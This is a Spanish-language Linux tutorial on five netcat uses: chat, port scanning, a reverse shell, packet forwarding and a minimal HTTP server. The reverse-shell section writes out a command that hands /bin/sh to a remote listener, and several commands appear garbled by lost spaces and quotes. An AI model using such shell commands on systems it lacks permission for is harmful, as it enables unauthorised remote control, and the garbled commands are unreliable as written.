5 Usos Simples y Fáciles de Netcat en Linux

Netcat es una poderosa utilidad de red de línea de comandos en Linux que puede enviar y escuchar paquetes TCP y UDP. A diferencia de otras herramientas de red, netcat es extremadamente básico. Sin embargo, su simplicidad también le permite realizar casi cualquier tipo de actividad a través de una red.
Este artículo te mostrará 5 tareas de red simples que puedes hacer con netcat. Además, este artículo también destacará qué hace que netcat sea especial y por qué deberías incluirlo en tu kit de herramientas de Linux.
Tabla de Contenidos
- ¿Cómo Funciona Netcat y Por Qué Usarlo?
- Sesión de Chat Peer to Peer
- Escáner de Puertos Básico
- Shell Inversa
- Reenvío de Paquetes Básico
- Servidor HTTP Básico
- Preguntas Frecuentes
¿Cómo Funciona Netcat y Por Qué Usarlo?
Netcat es una utilidad básica que puede enviar y recibir paquetes de red. Fue lanzado por primera vez en 1995 por un programador pseudónimo llamado Hobbit. Desde entonces, netcat ha sido una parte importante de cada distribución de Linux.
En su núcleo, netcat funciona enviando solicitudes de red de un host Linux a otro. Esta solicitud de red puede contener cualquier tipo de datos y puedes enviarla a cualquier puerto.

Este enfoque significa que netcat puede crear cualquier tipo de conexión de red posible. Por ejemplo, el programa puede crear conexiones TCP directas que puedes usar para transferir archivos o crear sesiones de shell inversas.

1. Sesión de Chat Peer to Peer
Uno de los usos más básicos de netcat es una simple sesión de chat peer to peer entre dos máquinas Linux. Este es un método de comunicación que no depende de ningún servidor de terceros para enviar y recibir información.
- Para que esto funcione, necesitas abrir un puerto entre 49152 y 65536 en tu máquina local. Aquí es donde un host remoto podrá conectarse y enviar información arbitraria a tu máquina.
sudo ufw allow 50000- También necesitas abrir un puerto diferente en el host remoto para que tu máquina pueda enviar información hacia él:
sudo ufw allow 50001- Ejecuta
netcaten tu máquina con los siguientes argumentos:
nc -lp50000Esto abrirá una sesión de netcat que está escuchando activamente datos en el puerto 50000.
- El host remoto ahora puede enviar cualquier dato de texto hacia tu máquina local. Por ejemplo, el siguiente comando enviará la entrada estándar del sistema a una máquina remota.
cat - | nc 192.168.122.136 50000
- Para responder al mensaje, el host remoto también necesita ejecutar un demonio de escucha:
nc -lp50001- Ahora, también puedes enviar un mensaje desde la máquina local al host remoto:
cat - | nc 192.168.122.177 50001
2. Escáner de Puertos Básico
Un escáner de puertos es una utilidad simple que verifica si un conjunto de puertos en una máquina es accesible desde un host remoto. Esto es muy útil en casos donde no estás seguro de si tu sistema tiene los puertos apropiados abiertos.
Para verificar un solo puerto, puedes ejecutar nc -v seguido de la dirección IP y el puerto que deseas verificar:
nc -v 192.168.122.177 80
También puedes proporcionar un rango de números donde netcat verificará secuencialmente cada número de puerto dentro de ese rango. Por ejemplo, ejecutar el siguiente comando escaneará todos los puertos “bien conocidos” abiertos:
nc -v 192.168.122.177 1-1024
Uno de los inconvenientes de consultar puertos es que genera tráfico de red innecesario. Esto puede ser un problema si estás probando un gran rango de puertos en una pequeña red doméstica.
Para solucionar esto, habilita el modo “Zero I/O” de netcat que no crea ninguna actividad de red en el host remoto:
nc -zv 192.168.122.177 1-1024
FYI: Aprende cómo puedes usar nmap incluso sin sudo para recopilar información sobre las máquinas en tu red local.
3. Shell Inversa
Las shells inversas son el pan y la mantequilla de las pruebas de penetración en Linux. Estas son instancias de shell remotas que te permiten controlar un sistema incluso sin puertos de entrada abiertos. Esto hace que las shells inversas sean útiles si necesitas acceder a una máquina que no tiene acceso SSH.
- Para crear una shell inversa, necesitas abrir un demonio de escucha en tu máquina local:
nc -lp50000- Inicia una conexión de netcat en tu máquina remota. En este caso, también necesitas pasar el entorno de shell de la máquina remota:
nc -e/bin/sh 192.168.122.136 50000Nota: El comando anterior solo funcionará en distribuciones que no sean Ubuntu. Para hacerlo en Ubuntu, necesitas instalar el paquete “netcat-traditional” y reemplazar “nc” con “nc.traditional.”
- Regresa a tu máquina local y ejecuta un comando de shell. Por ejemplo, ejecutar
lsimprimirá el directorio actual del usuario remoto.
ls-la
- Para terminar la sesión de shell inversa, puedes presionar Ctrl + C en el demonio de escucha de tu máquina local.

Bueno saber: Aprende cómo puedes usar efectivamente tu shell inversa aprendiendo los conceptos básicos de la programación de scripts de shell.
4. Reenvío de Paquetes Básico
Además de leer y escribir directamente en un flujo de red, también puedes usar netcat para redirigir una conexión entrante a cualquier puerto saliente. Esto funciona encadenando múltiples sesiones de escucha y cliente de netcat usando tuberías de UNIX.
- Crea una sesión de netcat que escuche en el puerto 50000. Esto servirá como el puerto saliente para tu reenvío básico:
nc -lv localhost 50000- Abre una nueva terminal y ejecuta el siguiente comando:
nc -lv localhost 50001 | nc localhost 50000Hacer esto creará un nuevo demonio de escucha en el puerto 50001 y redirigirá automáticamente cualquier paquete en este puerto al puerto 50000.

- Ahora puedes enviar datos a tu puerto entrante y netcat redirigirá automáticamente su salida a tu puerto saliente.
echo"MakeTechEasier"| nc localhost 50001
- Además de los puertos locales, también puedes usar esta función para redirigir cualquier tráfico de red a una máquina diferente. Por ejemplo, el siguiente código envía datos en el puerto 50000 al mismo puerto en un sistema diferente:
nc -lv localhost 50000| nc 192.168.122.177 50000
Nota: Para que esto funcione, necesitarás ejecutar múltiples procesos de demonio, y no cifra ningún dato que pase a través.
5. Servidor HTTP Básico
Configurar un servidor HTTP puede ser un proceso complejo incluso si solo deseas servir una sola página. En ese sentido, netcat también puede servir como un simple servidor web estático que puedes activar en Linux sin instalar herramientas adicionales.
- Crea un archivo de respuesta HTTP básico. El siguiente fragmento de código muestra una página web con un mensaje simple:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
# ¡Hola MakeTechEasier!
- Guárdalo como “index.http” en tu directorio personal.

- Ejecuta el siguiente comando:
whiletrue; do{echo-e'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Ahora tienes un servidor web en funcionamiento. Puedes visitar tu página web abriendo un navegador web e yendo a http://localhost:8080.

- Presiona Ctrl + C en la terminal para salir de la sesión actual del servidor web.

Nota: Como puedes ver, este es solo un servidor HTTP muy básico y es inseguro. Si estás ejecutando tu propio servidor, deberías seguir estos consejos para asegurar tu servidor.
Bueno saber: Aprende a gestionar tus archivos de manera efectiva utilizando sed para manipular flujos de texto.
Preguntas Frecuentes
No puedo conectarme a una máquina remota usando netcat.
Este problema se debe probablemente a un puerto de firewall bloqueado en la máquina remota. Necesitas asegurarte de que el puerto que estás usando en tu máquina esté abierto para conexiones entrantes y salientes. Por ejemplo, necesitas ejecutar sudo ufw allow 49999 si deseas usar el puerto 49999 en la máquina remota.
¿Es posible conectarse a cualquier host usando netcat?
No. Si bien netcat puede leer y escribir en cualquier flujo de red arbitrario, no puede conectarse a una máquina que no sea descubrible desde la red de tu sistema. Esto incluye redes privadas que no tienen habilitada la redirección de puertos, así como sistemas aislados que no tienen acceso a la red.
¿Es posible suplantar una conexión en netcat?
No. Esto se debe a que netcat solo puede enviar y recibir paquetes desde una interfaz de red válida. Sin embargo, puedes cambiar de dónde proviene ese paquete particular si tienes múltiples interfaces de red.
Por ejemplo, puedes ejecutar nc -l -s 10.0.0.2 -p 50000 para indicarle a netcat que envíe explícitamente paquetes utilizando la interfaz que tiene la dirección IP “10.0.0.2.”
Crédito de la imagen: ThisisEngineering RAEng a través de Unsplash. Todas las alteraciones y capturas de pantalla por Ramces Red.